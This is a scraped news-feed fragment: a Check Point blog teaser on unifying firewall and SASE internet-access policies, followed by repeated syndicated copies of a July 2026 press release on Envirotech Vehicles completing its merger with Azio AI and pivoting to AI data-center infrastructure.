<content:encoded><![CDATA[<img width="1600" height="800" src="https://blog.checkpoint.com/wp-content/uploads/2026/07/Unified_Access_Policy-Banner.png" class="webfeedsFeaturedVisual wp-post-image" alt="" link_thumbnail="" decoding="async" fetchpriority="high" srcset="https://blog.checkpoint.com/wp-content/uploads/2026/07/Unified_Access_Policy-Banner.png 1600w, https://blog.checkpoint.com/wp-content/uploads/2026/07/Unified_Access_Policy-Banner-300x150.png 300w, https://blog.checkpoint.com/wp-content/uploads/2026/07/Unified_Access_Policy-Banner-1024x512.png 1024w, https://blog.checkpoint.com/wp-content/uploads/2026/07/Unified_Access_Policy-Banner-768x384.png 768w, https://blog.checkpoint.com/wp-content/uploads/2026/07/Unified_Access_Policy-Banner-1536x768.png 1536w, https://blog.checkpoint.com/wp-content/uploads/2026/07/Unified_Access_Policy-Banner-400x200.png 400w, https://blog.checkpoint.com/wp-content/uploads/2026/07/Unified_Access_Policy-Banner-600x300.png 600w, https://blog.checkpoint.com/wp-content/uploads/2026/07/Unified_Access_Policy-Banner-800x400.png 800w, https://blog.checkpoint.com/wp-content/uploads/2026/07/Unified_Access_Policy-Banner-1200x600.png 1200w, https://blog.checkpoint.com/wp-content/uploads/2026/07/Unified_Access_Policy-Banner-1320x660.png 1320w" sizes="(max-width: 1600px) 100vw, 1600px"><p>As organizations adopt both on-premises firewalls and cloud-delivered SASE, security becomes more distributed and complex. Users connect from headquarters, branch offices, and remote locations, expecting the same secure and seamless internet experience everywhere. When Internet Access policies across firewalls and SASE are managed separately, maintaining consistency becomes harder, increasing the risk of human error and misconfiguration.  The 2026 Verizon Data Breach Investigations Report found that misconfiguration is one of the top recurring error types in breaches year after year, noting that, “the fact that Misconfiguration remains among the top errors over time is rather concerning.” In environments with separate Internet Access policies, that risk is […]</p>
<p>The post <a href="https://blog.checkpoint.com/hybrid-mesh/how-unified-policies-close-security-gaps/">How Unified Policies Close Security Gaps</a> appeared first on <a href="https://blog.checkpoint.com/">Check Point Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[Envirotech Vehicles Closes Merger with Azio AI Ahead of Schedule, Positioning Combined Company to Capture $487 Billion 2026 AI Infrastructure Opportunity]]></title>
<description><![CDATA[Revised transaction structure enables immediate closing, accelerating the Company’s strategic pivot toward AI data centers, enterprise GPU compute, and digital power infrastructure.



Envirotech Vehicles, Inc. (NASDAQ: EVTV) (“EVTV” or the “Company”) today announced the successful completion of ...]]></description>
<link>https://tsecurity.de/de/3651654/ai-nachrichten/envirotech-vehicles-closes-merger-with-azio-ai-ahead-of-schedule-positioning-combined-company-to-capture-487-billion-2026-ai-infrastructure-opportunity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651654/ai-nachrichten/envirotech-vehicles-closes-merger-with-azio-ai-ahead-of-schedule-positioning-combined-company-to-capture-487-billion-2026-ai-infrastructure-opportunity/</guid>
<pubDate>Tue, 07 Jul 2026 15:19:27 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p><em>Revised transaction structure enables immediate closing, accelerating the Company’s strategic pivot toward AI data centers, enterprise GPU compute, and digital power infrastructure.</em></p>



<p><a href="https://www.evtvusa.com/" target="_blank" rel="noreferrer noopener">Envirotech Vehicles</a>, Inc. (NASDAQ: EVTV) (“EVTV” or the “Company”) today announced the successful completion of its merger with Azio AI Corporation (“Azio AI”) on July 2, 2026, paving the way for the Company to transform to an AI Datacenter Provider and meeting the growing market demand for artificial intelligence (“AI”) infrastructure, enterprise GPU compute, digital power solutions, data center development, and digital asset infrastructure; a market that the International Data Corporation (IDC) projects will reach $487 billion in global spending in 2026 and exceed $1 trillion by 2029.<a href="http://docs.google.com/blank">[1]</a> The transaction marks a defining milestone in the Company’s strategic transformation and establishes the foundation for its next phase of commercial execution and long-term growth.</p>



<p>The parties amended the proposed transaction structure to expedite the closing timeline, allowing the combined company to begin operating as a fully integrated public company significantly sooner than originally anticipated. The accelerated closing enables management to immediately focus on commercialization across its expanding AI Datacenter strategy.</p>



<p>With the merger complete and the combined company operating as one organization, management is now fully focused on commercial execution, infrastructure deployment, strategic growth initiatives, and creating long-term shareholder value.</p>



<p>Over the past several months, the Company advanced development activities at its South Texas site and deployed six megawatts of off-grid power for its modular data centers. The Company further secured rights to a 548-acre site with the capacity to scale up to 500 MW, supporting the future development of AI hyperscale data centers.</p>



<p>Management believes these achievements demonstrate that the combined company is entering its next phase with meaningful operational momentum already in place rather than beginning from a standing start. Infrastructure deployment is underway, customer commitments have already been established, commercial execution is actively progressing, and the Company’s corporate structure is now aligned with an operating platform built to support long-term expansion.</p>



<p>The completion of the merger comes at a time when investment in AI infrastructure continues to accelerate globally as enterprises increasingly require access to high-performance computing resources, GPU infrastructure, and scalable digital power solutions. Management believes the combined company is well positioned to capitalize on these long-term industry trends through a diversified infrastructure strategy designed to monetize power assets across multiple complementary revenue streams, including AI data centers, enterprise compute infrastructure, power hosting, and digital asset mining operations.</p>



<p>Following the closing of the transaction, the Company intends to continue expanding its AI Infrastructure strategy through AI data center development, enterprise GPU compute solutions, power hosting services, digital asset mining operations, strategic infrastructure investments, and additional commercial partnerships designed to maximize utilization of its power resources while creating multiple long-term revenue opportunities.</p>



<p>In connection with the closing of the merger, Phillip Oldridge has stepped down as Chief Executive Officer. Jason Maddox vacates the President position and is now the Chief Financial Officer. The Company’s Board of Directors appointed Simon Yu as President and Chris Young as Chief Executive Officer, effective immediately.</p>



<p>Mr. Yu is a serial entrepreneur and public markets operator with almost a decade of experience taking companies public, executing capital raises, and scaling businesses. He has previously served in founder, C-suite, and board roles at three publicly traded companies, two of which reached market capitalizations in excess of $1 billion. Mr. Yu has led legal, accounting, and advisory teams through Regulation A+ Tier 2 offerings, PCAOB audits, and public company reporting, alongside leading M&amp;A transactions. As an active early-stage venture investor, he has evaluated investment opportunities across artificial intelligence, SaaS, and B2B technology.</p>



<p>Mr. Young brings extensive experience in launching and leading public companies and investing in and advising emerging technology companies, with a particular focus on artificial intelligence, software innovation, and strategic growth initiatives. Prior to joining EVTV, he served as Chief Executive Officer of Clubhouse Media Group, a publicly traded social media company and an Entrepreneur in Residence at Amplify, where he worked alongside founders and venture-backed technology companies to accelerate commercialization and support the development of high-growth technology businesses.</p>



<p>“Today’s announcement represents far more than the completion of a merger—it marks the beginning of our next chapter,” said Chris Young, Chief Executive Officer of EVTV. “Over the past several months, our teams have been building the operational foundation of this business while simultaneously working toward completing this transaction. With the merger now finalized, we move forward as one company with one leadership team and one strategy, focused on executing against the opportunities in front of us. We believe demand for AI infrastructure, enterprise compute, and digital infrastructure will continue expanding for years to come. Our objective is to build a scalable platform capable of serving that demand while creating long-term value for our shareholders.”</p>



<p>Jason Maddox, Chief Financial Officer of EVTV, added, “Completing this transaction under the amended merger structure allows us to immediately focus on execution. We have already established meaningful operational momentum, and we believe operating as a unified public company enhances our ability to deploy infrastructure, serve customers, pursue strategic growth opportunities, and continue building long-term shareholder value.”</p>



<p>The transaction establishes a unified operating platform designed to support the Company’s long-term growth strategy through continued investment in AI infrastructure, enterprise computing, digital power assets, and digital infrastructure development. Management believes the completion of the merger provides the operational and organizational foundation necessary to pursue the next phase of commercialization while expanding its presence across some of the fastest-growing sectors of the global technology market.</p>



<h3 class="wp-block-heading"><strong>Transaction and Operational Highlights</strong></h3>



<ul class="wp-block-list">
<li>Successfully completed the merger with Azio AI pursuant to an amended and restated merger agreement.</li>



<li>Approximately six megawatts of off-grid digital infrastructure deployed at the Company’s South Texas development site.</li>



<li>Development footprint exceeding 548 acres with the potential to support up to 500 MW of AI infrastructure capacity.</li>



<li>Combined company positioned to accelerate commercialization across AI infrastructure, enterprise GPU compute, digital power solutions, and digital asset mining operations.</li>



<li>Merger consideration consisted of 2,655,157 shares of common stock and 973,450 shares of non-voting convertible preferred stock in exchange for 100% of outstanding capital stock of Azio AI, of which 194,807 shares of common stock were reserved for convertible notes of Azio AI assumed by the Company upon closing.</li>



<li>Each share of preferred stock convertible into 100 shares of Company common stock subject to stockholder approval.</li>



<li>Chris Young appointed Chief Executive Officer and Chairman of the Board.</li>



<li>Simon Yu appointed President.</li>



<li>Jason Maddox appointed Chief Financial Officer.</li>



<li>Phillip Oldridge stepped down as Chief Executive Officer.</li>
</ul>



<p><strong>About Envirotech Vehicles, Inc.</strong></p>



<p>Envirotech Vehicles, Inc. (NASDAQ: EVTV) is a technology infrastructure company focused on developing, owning, and operating artificial intelligence data centers, enterprise GPU compute infrastructure, digital power solutions, and digital asset mining operations. Following its acquisition of Azio AI, the Company operates an integrated AI infrastructure business encompassing AI data center development, the sale and distribution of enterprise GPU systems and server infrastructure, high-performance computing solutions, power hosting, and strategic technology investments, serving enterprise and institutional customers across domestic and international markets. Through this diversified AI infrastructure strategy, the Company is positioned to capitalize on the rapidly expanding global demand for AI infrastructure, compute capacity, digital power, and next-generation AI technologies.</p>



<p>For more information please visit: <a href="http://www.azioai.ai/" target="_blank" rel="noreferrer noopener">www.azioai.ai</a> and for potential partnerships contact: <a href="mailto:AI@PhoenixMGMTconsulting.com" target="_blank" rel="noreferrer noopener">AI@PhoenixMGMTconsulting.com</a></p>



<p><strong>Forward-Looking Statements</strong></p>



<p>This press release contains forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. In some cases, you can identify forward-looking statements by words such as “may,” “will,” “could,” “expect,” “anticipate,” “believe,” “estimate,” “project,” “intend,” “continue,” “potential,” “ongoing,” or the negative of these terms or other comparable terminology, although not all forward-looking statements contain these words. Forward-looking statements include statements regarding the Company’s ability to capitalize on accelerating demand for AI infrastructure, enterprise GPU compute, digital power solutions, data center development, and digital asset infrastructure; the Company’s plans to continue expanding its digital infrastructure platform through AI data center development, enterprise GPU compute solutions, power hosting services, digital asset mining operations, strategic infrastructure investments, and additional commercial partnerships; the Company’s ability to maximize utilization of its power resources while creating multiple long-term revenue opportunities; the ability to continue deploying modular digital infrastructure at the Company’s South Texas site; the anticipated deployment and scaling of NVIDIA B200 and B300 GPU systems; the ability to advance and execute against the Company’s commercial infrastructure pipeline; the anticipated development of the Company’s footprint; the ability to monetize power assets across multiple complementary revenue streams, including AI data centers, enterprise compute infrastructure, power hosting, and digital asset mining operations; customer demand for AI infrastructure, enterprise compute, and digital infrastructure; the Company’s ability to build a scalable platform designed to serve that demand and create long-term shareholder value; and the Company’s broader business strategy and long-term growth objectives.</p>



<p>These statements are based on current expectations and assumptions that involve risks and uncertainties that could cause actual results to differ materially. Most of these factors are outside the Company’s control and are difficult to predict. Factors that may affect actual results include, but are not limited to, the Company’s limited operating history within AI infrastructure and compute operations, project scope, engineering challenges, supply chain constraints, installation timelines, energy availability, finalization of site usage rights, regulatory considerations, equipment performance, ability to raise capital required for expansion activities, changes in digital asset markets, evolving compute demand, market conditions, the Company’s ability to successfully integrate the combined business following the completion of the merger, the risk that the anticipated benefits and synergies of the merger are not realized, the risk of unexpected costs, charges, or expenses resulting from or relating to the merger, potential adverse reactions or changes to business relationships resulting from the completion of the merger, risks related to the diversion of management’s attention from ongoing business operations during the post-closing integration period, the risk that required stockholder approval for the conversion of preferred stock issued in the merger as required by rules of The Nasdaq Stock Market LLC (the “Conversion Proposal”) is not obtained, and additional risks and uncertainties described in the Company’s most recent Annual Report on Form 10-K and subsequent Quarterly Reports on Form 10-Q filed with the SEC, which are available at www.sec.gov. The Company undertakes no obligation to update forward-looking statements except as required by law.</p>



<p><strong><em>Important Information About the Merger and Where to Find it</em></strong></p>



<p>The Company expects to file a proxy statement with the SEC relating to the Conversion Proposal. The definitive proxy statement will be sent to all Company stockholders. Before making any voting decision, investors and security-holders of the Company are urged to read the proxy statement and all other relevant documents filed or that will be filed with the SEC in connection with the Conversion Proposal as they become available because they will contain important information about the amended and restated merger agreement between the parties and the related transactions and the Conversion Proposal to be voted upon by the Company’s stockholders. Investors and security-holders will be able to obtain free copies of the proxy statement and all other relevant documents filed or that will be filed with the SEC by the Company through the website maintained by the SEC at www.sec.gov.</p>



<p><strong><em>Participants in the Solicitation</em></strong></p>



<p>The Company and its directors and executive officers may be considered participants in the solicitation of proxies from EVTV’s stockholders with respect to the Conversion Proposal under the rules of the SEC. Information about the directors and executive officers of EVTV is set forth in its Annual Report on Form 10-K for the year ended December 31, 2025, which was filed with the SEC on April 13, 2026, and in subsequent Quarterly Reports on Form 10-Q and other documents filed by the Company from time to time with the SEC. Additional information regarding the persons who may be deemed participants in the proxy solicitation and a description of their direct and indirect interests, by security holdings or otherwise, will also be included in the proxy statement, and other relevant materials to be filed with the SEC when they become available. You may obtain free copies of these documents as described above.</p>



<p>¹ Source: International Data Corporation (IDC), “AI Infrastructure Spending Caps Historic Year at ~$90 Billion in Q4 2025; 2029 Spending to Eclipse $1 Trillion,” April 16, 2026. The Company has not independently verified the data or projections contained in this report, and there can be no assurance that the projections will be realized.</p>



<h5 class="wp-block-heading">Contact</h5>



<p><strong>Phoenix MGMT &amp; Consulting</strong></p>



<p><strong>Press@PhoenixMGMTConsulting.com</strong></p>
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<title><![CDATA[Envirotech Vehicles Closes Merger with Azio AI Ahead of Schedule, Positioning Combined Company to Capture $487 Billion 2026 AI Infrastructure Opportunity]]></title>
<description><![CDATA[Revised transaction structure enables immediate closing, accelerating the Company’s strategic pivot toward AI data centers, enterprise GPU compute, and digital power infrastructure.



Envirotech Vehicles, Inc. (NASDAQ: EVTV) (“EVTV” or the “Company”) today announced the successful completion of ...]]></description>
<link>https://tsecurity.de/de/3651645/it-nachrichten/envirotech-vehicles-closes-merger-with-azio-ai-ahead-of-schedule-positioning-combined-company-to-capture-487-billion-2026-ai-infrastructure-opportunity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651645/it-nachrichten/envirotech-vehicles-closes-merger-with-azio-ai-ahead-of-schedule-positioning-combined-company-to-capture-487-billion-2026-ai-infrastructure-opportunity/</guid>
<pubDate>Tue, 07 Jul 2026 15:18:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p><em>Revised transaction structure enables immediate closing, accelerating the Company’s strategic pivot toward AI data centers, enterprise GPU compute, and digital power infrastructure.</em></p>



<p><a href="https://www.evtvusa.com/" target="_blank" rel="noreferrer noopener">Envirotech Vehicles</a>, Inc. (NASDAQ: EVTV) (“EVTV” or the “Company”) today announced the successful completion of its merger with Azio AI Corporation (“Azio AI”) on July 2, 2026, paving the way for the Company to transform to an AI Datacenter Provider and meeting the growing market demand for artificial intelligence (“AI”) infrastructure, enterprise GPU compute, digital power solutions, data center development, and digital asset infrastructure; a market that the International Data Corporation (IDC) projects will reach $487 billion in global spending in 2026 and exceed $1 trillion by 2029.<a href="http://docs.google.com/blank">[1]</a> The transaction marks a defining milestone in the Company’s strategic transformation and establishes the foundation for its next phase of commercial execution and long-term growth.</p>



<p>The parties amended the proposed transaction structure to expedite the closing timeline, allowing the combined company to begin operating as a fully integrated public company significantly sooner than originally anticipated. The accelerated closing enables management to immediately focus on commercialization across its expanding AI Datacenter strategy.</p>



<p>With the merger complete and the combined company operating as one organization, management is now fully focused on commercial execution, infrastructure deployment, strategic growth initiatives, and creating long-term shareholder value.</p>



<p>Over the past several months, the Company advanced development activities at its South Texas site and deployed six megawatts of off-grid power for its modular data centers. The Company further secured rights to a 548-acre site with the capacity to scale up to 500 MW, supporting the future development of AI hyperscale data centers.</p>



<p>Management believes these achievements demonstrate that the combined company is entering its next phase with meaningful operational momentum already in place rather than beginning from a standing start. Infrastructure deployment is underway, customer commitments have already been established, commercial execution is actively progressing, and the Company’s corporate structure is now aligned with an operating platform built to support long-term expansion.</p>



<p>The completion of the merger comes at a time when investment in AI infrastructure continues to accelerate globally as enterprises increasingly require access to high-performance computing resources, GPU infrastructure, and scalable digital power solutions. Management believes the combined company is well positioned to capitalize on these long-term industry trends through a diversified infrastructure strategy designed to monetize power assets across multiple complementary revenue streams, including AI data centers, enterprise compute infrastructure, power hosting, and digital asset mining operations.</p>



<p>Following the closing of the transaction, the Company intends to continue expanding its AI Infrastructure strategy through AI data center development, enterprise GPU compute solutions, power hosting services, digital asset mining operations, strategic infrastructure investments, and additional commercial partnerships designed to maximize utilization of its power resources while creating multiple long-term revenue opportunities.</p>



<p>In connection with the closing of the merger, Phillip Oldridge has stepped down as Chief Executive Officer. Jason Maddox vacates the President position and is now the Chief Financial Officer. The Company’s Board of Directors appointed Simon Yu as President and Chris Young as Chief Executive Officer, effective immediately.</p>



<p>Mr. Yu is a serial entrepreneur and public markets operator with almost a decade of experience taking companies public, executing capital raises, and scaling businesses. He has previously served in founder, C-suite, and board roles at three publicly traded companies, two of which reached market capitalizations in excess of $1 billion. Mr. Yu has led legal, accounting, and advisory teams through Regulation A+ Tier 2 offerings, PCAOB audits, and public company reporting, alongside leading M&amp;A transactions. As an active early-stage venture investor, he has evaluated investment opportunities across artificial intelligence, SaaS, and B2B technology.</p>



<p>Mr. Young brings extensive experience in launching and leading public companies and investing in and advising emerging technology companies, with a particular focus on artificial intelligence, software innovation, and strategic growth initiatives. Prior to joining EVTV, he served as Chief Executive Officer of Clubhouse Media Group, a publicly traded social media company and an Entrepreneur in Residence at Amplify, where he worked alongside founders and venture-backed technology companies to accelerate commercialization and support the development of high-growth technology businesses.</p>



<p>“Today’s announcement represents far more than the completion of a merger—it marks the beginning of our next chapter,” said Chris Young, Chief Executive Officer of EVTV. “Over the past several months, our teams have been building the operational foundation of this business while simultaneously working toward completing this transaction. With the merger now finalized, we move forward as one company with one leadership team and one strategy, focused on executing against the opportunities in front of us. We believe demand for AI infrastructure, enterprise compute, and digital infrastructure will continue expanding for years to come. Our objective is to build a scalable platform capable of serving that demand while creating long-term value for our shareholders.”</p>



<p>Jason Maddox, Chief Financial Officer of EVTV, added, “Completing this transaction under the amended merger structure allows us to immediately focus on execution. We have already established meaningful operational momentum, and we believe operating as a unified public company enhances our ability to deploy infrastructure, serve customers, pursue strategic growth opportunities, and continue building long-term shareholder value.”</p>



<p>The transaction establishes a unified operating platform designed to support the Company’s long-term growth strategy through continued investment in AI infrastructure, enterprise computing, digital power assets, and digital infrastructure development. Management believes the completion of the merger provides the operational and organizational foundation necessary to pursue the next phase of commercialization while expanding its presence across some of the fastest-growing sectors of the global technology market.</p>



<h3 class="wp-block-heading"><strong>Transaction and Operational Highlights</strong></h3>



<ul class="wp-block-list">
<li>Successfully completed the merger with Azio AI pursuant to an amended and restated merger agreement.</li>



<li>Approximately six megawatts of off-grid digital infrastructure deployed at the Company’s South Texas development site.</li>



<li>Development footprint exceeding 548 acres with the potential to support up to 500 MW of AI infrastructure capacity.</li>



<li>Combined company positioned to accelerate commercialization across AI infrastructure, enterprise GPU compute, digital power solutions, and digital asset mining operations.</li>



<li>Merger consideration consisted of 2,655,157 shares of common stock and 973,450 shares of non-voting convertible preferred stock in exchange for 100% of outstanding capital stock of Azio AI, of which 194,807 shares of common stock were reserved for convertible notes of Azio AI assumed by the Company upon closing.</li>



<li>Each share of preferred stock convertible into 100 shares of Company common stock subject to stockholder approval.</li>



<li>Chris Young appointed Chief Executive Officer and Chairman of the Board.</li>



<li>Simon Yu appointed President.</li>



<li>Jason Maddox appointed Chief Financial Officer.</li>



<li>Phillip Oldridge stepped down as Chief Executive Officer.</li>
</ul>



<p><strong>About Envirotech Vehicles, Inc.</strong></p>



<p>Envirotech Vehicles, Inc. (NASDAQ: EVTV) is a technology infrastructure company focused on developing, owning, and operating artificial intelligence data centers, enterprise GPU compute infrastructure, digital power solutions, and digital asset mining operations. Following its acquisition of Azio AI, the Company operates an integrated AI infrastructure business encompassing AI data center development, the sale and distribution of enterprise GPU systems and server infrastructure, high-performance computing solutions, power hosting, and strategic technology investments, serving enterprise and institutional customers across domestic and international markets. Through this diversified AI infrastructure strategy, the Company is positioned to capitalize on the rapidly expanding global demand for AI infrastructure, compute capacity, digital power, and next-generation AI technologies.</p>



<p>For more information please visit: <a href="http://www.azioai.ai/" target="_blank" rel="noreferrer noopener">www.azioai.ai</a> and for potential partnerships contact: <a href="mailto:AI@PhoenixMGMTconsulting.com" target="_blank" rel="noreferrer noopener">AI@PhoenixMGMTconsulting.com</a></p>



<p><strong>Forward-Looking Statements</strong></p>



<p>This press release contains forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. In some cases, you can identify forward-looking statements by words such as “may,” “will,” “could,” “expect,” “anticipate,” “believe,” “estimate,” “project,” “intend,” “continue,” “potential,” “ongoing,” or the negative of these terms or other comparable terminology, although not all forward-looking statements contain these words. Forward-looking statements include statements regarding the Company’s ability to capitalize on accelerating demand for AI infrastructure, enterprise GPU compute, digital power solutions, data center development, and digital asset infrastructure; the Company’s plans to continue expanding its digital infrastructure platform through AI data center development, enterprise GPU compute solutions, power hosting services, digital asset mining operations, strategic infrastructure investments, and additional commercial partnerships; the Company’s ability to maximize utilization of its power resources while creating multiple long-term revenue opportunities; the ability to continue deploying modular digital infrastructure at the Company’s South Texas site; the anticipated deployment and scaling of NVIDIA B200 and B300 GPU systems; the ability to advance and execute against the Company’s commercial infrastructure pipeline; the anticipated development of the Company’s footprint; the ability to monetize power assets across multiple complementary revenue streams, including AI data centers, enterprise compute infrastructure, power hosting, and digital asset mining operations; customer demand for AI infrastructure, enterprise compute, and digital infrastructure; the Company’s ability to build a scalable platform designed to serve that demand and create long-term shareholder value; and the Company’s broader business strategy and long-term growth objectives.</p>



<p>These statements are based on current expectations and assumptions that involve risks and uncertainties that could cause actual results to differ materially. Most of these factors are outside the Company’s control and are difficult to predict. Factors that may affect actual results include, but are not limited to, the Company’s limited operating history within AI infrastructure and compute operations, project scope, engineering challenges, supply chain constraints, installation timelines, energy availability, finalization of site usage rights, regulatory considerations, equipment performance, ability to raise capital required for expansion activities, changes in digital asset markets, evolving compute demand, market conditions, the Company’s ability to successfully integrate the combined business following the completion of the merger, the risk that the anticipated benefits and synergies of the merger are not realized, the risk of unexpected costs, charges, or expenses resulting from or relating to the merger, potential adverse reactions or changes to business relationships resulting from the completion of the merger, risks related to the diversion of management’s attention from ongoing business operations during the post-closing integration period, the risk that required stockholder approval for the conversion of preferred stock issued in the merger as required by rules of The Nasdaq Stock Market LLC (the “Conversion Proposal”) is not obtained, and additional risks and uncertainties described in the Company’s most recent Annual Report on Form 10-K and subsequent Quarterly Reports on Form 10-Q filed with the SEC, which are available at www.sec.gov. The Company undertakes no obligation to update forward-looking statements except as required by law.</p>



<p><strong><em>Important Information About the Merger and Where to Find it</em></strong></p>



<p>The Company expects to file a proxy statement with the SEC relating to the Conversion Proposal. The definitive proxy statement will be sent to all Company stockholders. Before making any voting decision, investors and security-holders of the Company are urged to read the proxy statement and all other relevant documents filed or that will be filed with the SEC in connection with the Conversion Proposal as they become available because they will contain important information about the amended and restated merger agreement between the parties and the related transactions and the Conversion Proposal to be voted upon by the Company’s stockholders. Investors and security-holders will be able to obtain free copies of the proxy statement and all other relevant documents filed or that will be filed with the SEC by the Company through the website maintained by the SEC at www.sec.gov.</p>



<p><strong><em>Participants in the Solicitation</em></strong></p>



<p>The Company and its directors and executive officers may be considered participants in the solicitation of proxies from EVTV’s stockholders with respect to the Conversion Proposal under the rules of the SEC. Information about the directors and executive officers of EVTV is set forth in its Annual Report on Form 10-K for the year ended December 31, 2025, which was filed with the SEC on April 13, 2026, and in subsequent Quarterly Reports on Form 10-Q and other documents filed by the Company from time to time with the SEC. Additional information regarding the persons who may be deemed participants in the proxy solicitation and a description of their direct and indirect interests, by security holdings or otherwise, will also be included in the proxy statement, and other relevant materials to be filed with the SEC when they become available. You may obtain free copies of these documents as described above.</p>



<p>¹ Source: International Data Corporation (IDC), “AI Infrastructure Spending Caps Historic Year at ~$90 Billion in Q4 2025; 2029 Spending to Eclipse $1 Trillion,” April 16, 2026. The Company has not independently verified the data or projections contained in this report, and there can be no assurance that the projections will be realized.</p>



<h5 class="wp-block-heading">Contact</h5>



<p><strong>Phoenix MGMT &amp; Consulting</strong></p>



<p><strong>Press@PhoenixMGMTConsulting.com</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Envirotech Vehicles Closes Merger with Azio AI Ahead of Schedule, Positioning Combined Company to Capture $487 Billion 2026 AI Infrastructure Opportunity]]></title>
<description><![CDATA[Revised transaction structure enables immediate closing, accelerating the Company’s strategic pivot toward AI data centers, enterprise GPU compute, and digital power infrastructure.



Envirotech Vehicles, Inc. (NASDAQ: EVTV) (“EVTV” or the “Company”) today announced the successful completion of ...]]></description>
<link>https://tsecurity.de/de/3651613/it-security-nachrichten/envirotech-vehicles-closes-merger-with-azio-ai-ahead-of-schedule-positioning-combined-company-to-capture-487-billion-2026-ai-infrastructure-opportunity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651613/it-security-nachrichten/envirotech-vehicles-closes-merger-with-azio-ai-ahead-of-schedule-positioning-combined-company-to-capture-487-billion-2026-ai-infrastructure-opportunity/</guid>
<pubDate>Tue, 07 Jul 2026 15:09:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p><em>Revised transaction structure enables immediate closing, accelerating the Company’s strategic pivot toward AI data centers, enterprise GPU compute, and digital power infrastructure.</em></p>



<p><a href="https://www.evtvusa.com/" target="_blank" rel="noreferrer noopener">Envirotech Vehicles</a>, Inc. (NASDAQ: EVTV) (“EVTV” or the “Company”) today announced the successful completion of its merger with Azio AI Corporation (“Azio AI”) on July 2, 2026, paving the way for the Company to transform to an AI Datacenter Provider and meeting the growing market demand for artificial intelligence (“AI”) infrastructure, enterprise GPU compute, digital power solutions, data center development, and digital asset infrastructure; a market that the International Data Corporation (IDC) projects will reach $487 billion in global spending in 2026 and exceed $1 trillion by 2029.<a href="http://docs.google.com/blank">[1]</a> The transaction marks a defining milestone in the Company’s strategic transformation and establishes the foundation for its next phase of commercial execution and long-term growth.</p>



<p>The parties amended the proposed transaction structure to expedite the closing timeline, allowing the combined company to begin operating as a fully integrated public company significantly sooner than originally anticipated. The accelerated closing enables management to immediately focus on commercialization across its expanding AI Datacenter strategy.</p>



<p>With the merger complete and the combined company operating as one organization, management is now fully focused on commercial execution, infrastructure deployment, strategic growth initiatives, and creating long-term shareholder value.</p>



<p>Over the past several months, the Company advanced development activities at its South Texas site and deployed six megawatts of off-grid power for its modular data centers. The Company further secured rights to a 548-acre site with the capacity to scale up to 500 MW, supporting the future development of AI hyperscale data centers.</p>



<p>Management believes these achievements demonstrate that the combined company is entering its next phase with meaningful operational momentum already in place rather than beginning from a standing start. Infrastructure deployment is underway, customer commitments have already been established, commercial execution is actively progressing, and the Company’s corporate structure is now aligned with an operating platform built to support long-term expansion.</p>



<p>The completion of the merger comes at a time when investment in AI infrastructure continues to accelerate globally as enterprises increasingly require access to high-performance computing resources, GPU infrastructure, and scalable digital power solutions. Management believes the combined company is well positioned to capitalize on these long-term industry trends through a diversified infrastructure strategy designed to monetize power assets across multiple complementary revenue streams, including AI data centers, enterprise compute infrastructure, power hosting, and digital asset mining operations.</p>



<p>Following the closing of the transaction, the Company intends to continue expanding its AI Infrastructure strategy through AI data center development, enterprise GPU compute solutions, power hosting services, digital asset mining operations, strategic infrastructure investments, and additional commercial partnerships designed to maximize utilization of its power resources while creating multiple long-term revenue opportunities.</p>



<p>In connection with the closing of the merger, Phillip Oldridge has stepped down as Chief Executive Officer. Jason Maddox vacates the President position and is now the Chief Financial Officer. The Company’s Board of Directors appointed Simon Yu as President and Chris Young as Chief Executive Officer, effective immediately.</p>



<p>Mr. Yu is a serial entrepreneur and public markets operator with almost a decade of experience taking companies public, executing capital raises, and scaling businesses. He has previously served in founder, C-suite, and board roles at three publicly traded companies, two of which reached market capitalizations in excess of $1 billion. Mr. Yu has led legal, accounting, and advisory teams through Regulation A+ Tier 2 offerings, PCAOB audits, and public company reporting, alongside leading M&amp;A transactions. As an active early-stage venture investor, he has evaluated investment opportunities across artificial intelligence, SaaS, and B2B technology.</p>



<p>Mr. Young brings extensive experience in launching and leading public companies and investing in and advising emerging technology companies, with a particular focus on artificial intelligence, software innovation, and strategic growth initiatives. Prior to joining EVTV, he served as Chief Executive Officer of Clubhouse Media Group, a publicly traded social media company and an Entrepreneur in Residence at Amplify, where he worked alongside founders and venture-backed technology companies to accelerate commercialization and support the development of high-growth technology businesses.</p>



<p>“Today’s announcement represents far more than the completion of a merger—it marks the beginning of our next chapter,” said Chris Young, Chief Executive Officer of EVTV. “Over the past several months, our teams have been building the operational foundation of this business while simultaneously working toward completing this transaction. With the merger now finalized, we move forward as one company with one leadership team and one strategy, focused on executing against the opportunities in front of us. We believe demand for AI infrastructure, enterprise compute, and digital infrastructure will continue expanding for years to come. Our objective is to build a scalable platform capable of serving that demand while creating long-term value for our shareholders.”</p>



<p>Jason Maddox, Chief Financial Officer of EVTV, added, “Completing this transaction under the amended merger structure allows us to immediately focus on execution. We have already established meaningful operational momentum, and we believe operating as a unified public company enhances our ability to deploy infrastructure, serve customers, pursue strategic growth opportunities, and continue building long-term shareholder value.”</p>



<p>The transaction establishes a unified operating platform designed to support the Company’s long-term growth strategy through continued investment in AI infrastructure, enterprise computing, digital power assets, and digital infrastructure development. Management believes the completion of the merger provides the operational and organizational foundation necessary to pursue the next phase of commercialization while expanding its presence across some of the fastest-growing sectors of the global technology market.</p>



<h3 class="wp-block-heading"><strong>Transaction and Operational Highlights</strong></h3>



<ul class="wp-block-list">
<li>Successfully completed the merger with Azio AI pursuant to an amended and restated merger agreement.</li>



<li>Approximately six megawatts of off-grid digital infrastructure deployed at the Company’s South Texas development site.</li>



<li>Development footprint exceeding 548 acres with the potential to support up to 500 MW of AI infrastructure capacity.</li>



<li>Combined company positioned to accelerate commercialization across AI infrastructure, enterprise GPU compute, digital power solutions, and digital asset mining operations.</li>



